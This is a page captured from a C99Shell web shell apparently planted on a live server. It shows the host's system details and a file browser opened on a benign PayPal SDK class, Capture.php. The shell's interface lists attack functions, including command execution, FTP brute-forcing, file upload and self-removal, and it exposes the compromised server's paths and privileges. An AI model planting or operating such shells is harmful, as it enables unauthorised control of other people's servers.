!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/paypal/rest-api-sdk-php/lib/PayPal/Api/   drwxr-xr-x
Free 28.61 GB of 117.98 GB (24.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Capture.php (6.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PayPal\Api;

use 
PayPal\Common\PayPalResourceModel;
use 
PayPal\Rest\ApiContext;
use 
PayPal\Validation\ArgumentValidator;

/**
 * Class Capture
 *
 * A capture transaction.
 *
 * @package PayPal\Api
 *
 * @property string               id
 * @property \PayPal\Api\Amount   amount
 * @property bool                 is_final_capture
 * @property string               state
 * @property string               parent_payment
 * @property \PayPal\Api\Currency transaction_fee
 * @property string               create_time
 * @property string               update_time
 * @property \PayPal\Api\Links[]  links
 */
class Capture extends PayPalResourceModel
{
    
/**
     * ID of the capture transaction.
     *
     * @param string $id
     *
     * @return $this
     */
    
public function setId($id)
    {
        
$this->id $id;
        return 
$this;
    }

    
/**
     * ID of the capture transaction.
     *
     * @return string
     */
    
public function getId()
    {
        return 
$this->id;
    }

    
/**
     * Amount being captured. If the amount matches the orginally authorized amount, the state of the authorization changes to `captured`. If not, the state of the authorization changes to `partially_captured`.
     *
     * @param \PayPal\Api\Amount $amount
     *
     * @return $this
     */
    
public function setAmount($amount)
    {
        
$this->amount $amount;
        return 
$this;
    }

    
/**
     * Amount being captured. If the amount matches the orginally authorized amount, the state of the authorization changes to `captured`. If not, the state of the authorization changes to `partially_captured`.
     *
     * @return \PayPal\Api\Amount
     */
    
public function getAmount()
    {
        return 
$this->amount;
    }

    
/**
     * If set to `true`, all remaining funds held by the authorization will be released in the funding instrument.
     *
     * @param bool $is_final_capture
     *
     * @return $this
     */
    
public function setIsFinalCapture($is_final_capture)
    {
        
$this->is_final_capture $is_final_capture;
        return 
$this;
    }

    
/**
     * If set to `true`, all remaining funds held by the authorization will be released in the funding instrument.
     *
     * @return bool
     */
    
public function getIsFinalCapture()
    {
        return 
$this->is_final_capture;
    }

    
/**
     * State of the capture.
     * Valid Values: ["pending", "completed", "refunded", "partially_refunded"]
     *
     * @param string $state
     *
     * @return $this
     */
    
public function setState($state)
    {
        
$this->state $state;
        return 
$this;
    }

    
/**
     * State of the capture.
     *
     * @return string
     */
    
public function getState()
    {
        return 
$this->state;
    }

    
/**
     * ID of the payment resource on which this transaction is based.
     *
     * @param string $parent_payment
     *
     * @return $this
     */
    
public function setParentPayment($parent_payment)
    {
        
$this->parent_payment $parent_payment;
        return 
$this;
    }

    
/**
     * ID of the payment resource on which this transaction is based.
     *
     * @return string
     */
    
public function getParentPayment()
    {
        return 
$this->parent_payment;
    }

    
/**
     * Transaction fee applicable for this payment.
     *
     * @param \PayPal\Api\Currency $transaction_fee
     *
     * @return $this
     */
    
public function setTransactionFee($transaction_fee)
    {
        
$this->transaction_fee $transaction_fee;
        return 
$this;
    }

    
/**
     * Transaction fee applicable for this payment.
     *
     * @return \PayPal\Api\Currency
     */
    
public function getTransactionFee()
    {
        return 
$this->transaction_fee;
    }

    
/**
     * Time of capture as defined in [RFC 3339 Section 5.6](http://tools.ietf.org/html/rfc3339#section-5.6).
     *
     * @param string $create_time
     *
     * @return $this
     */
    
public function setCreateTime($create_time)
    {
        
$this->create_time $create_time;
        return 
$this;
    }

    
/**
     * Time of capture as defined in [RFC 3339 Section 5.6](http://tools.ietf.org/html/rfc3339#section-5.6).
     *
     * @return string
     */
    
public function getCreateTime()
    {
        return 
$this->create_time;
    }

    
/**
     * Time that the resource was last updated.
     *
     * @param string $update_time
     *
     * @return $this
     */
    
public function setUpdateTime($update_time)
    {
        
$this->update_time $update_time;
        return 
$this;
    }

    
/**
     * Time that the resource was last updated.
     *
     * @return string
     */
    
public function getUpdateTime()
    {
        return 
$this->update_time;
    }

    
/**
     * Retrieve details about a captured payment by passing the capture_id in the request URI.
     *
     * @param string         $captureId
     * @param ApiContext     $apiContext is the APIContext for this call. It can be used to pass dynamic configuration and credentials.
     * @param PayPalRestCall $restCall   is the Rest Call Service that is used to make rest calls
     * @return Capture
     */
    
public static function get($captureId$apiContext null$restCall null)
    {
        
ArgumentValidator::validate($captureId'captureId');
        
$payLoad "";
        
$json self::executeCall(
            
"/v1/payments/capture/$captureId",
            
"GET",
            
$payLoad,
            
null,
            
$apiContext,
            
$restCall
        
);
        
$ret = new Capture();
        
$ret->fromJson($json);
        return 
$ret;
    }

    
/**
     * Refund a captured payment by passing the capture_id in the request URI. In addition, include an amount object in the body of the request JSON.
     *
     * @param Refund         $refund
     * @param ApiContext     $apiContext is the APIContext for this call. It can be used to pass dynamic configuration and credentials.
     * @param PayPalRestCall $restCall   is the Rest Call Service that is used to make rest calls
     * @return Refund
     */
    
public function refund($refund$apiContext null$restCall null)
    {
        
ArgumentValidator::validate($this->getId(), "Id");
        
ArgumentValidator::validate($refund'refund');
        
$payLoad $refund->toJSON();
        
$json self::executeCall(
            
"/v1/payments/capture/{$this->getId()}/refund",
            
"POST",
            
$payLoad,
            
null,
            
$apiContext,
            
$restCall
        
);
        
$ret = new Refund();
        
$ret->fromJson($json);
        return 
$ret;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--